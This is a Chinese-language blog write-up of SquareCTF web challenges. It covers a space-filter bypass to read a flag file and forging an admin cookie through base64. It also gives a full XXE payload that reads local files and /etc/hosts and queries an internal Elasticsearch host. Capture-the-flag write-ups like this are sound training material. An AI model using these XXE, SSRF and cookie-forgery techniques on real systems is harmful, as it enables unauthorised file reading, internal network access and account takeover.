Orac1e の blog

Back

SquareCTF web题解Blur image

sandbox#

cat flag.txt无回显,过滤空格用<代替

1

Be The Admin#

cookie身份认证,改为admin的base64即可,注意出于安全性考虑cookie中不能出现=,base64中=用于占位不影响解密,故删除即可

2

Just Go Around#

xxe+内网探测

看源码发现/post路由,提交查询跳转到/accept,发现可用postXml参数xxe,先读本地文件

31

本地没找到flag文件,要找内网ip,用http访问内网拿flag,然后就是各种读文件找线索

翻了好多好多层之后在/JustGoAround/src/main/resources/application.properties找到一个端口号spring.datasource.url=http://${ELASTIC_HOST:db}:9200,读/etc/hosts找到一个ip172.21.0.3

直接访问发现不对,多试试找到172.21.0.2

payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE ANY [<!ENTITY foo SYSTEM "http://172.21.0.2:9200/_search?q=*">]><post author="CTF" id="0" title="122"><message>&foo;</message></post>
xml

32

SquareCTF web题解
https://www.orac1e.me/blog/ctf/squarectf
Author Orac1e
Published at November 24, 2023
Comment seems to stuck. Try to refresh?✨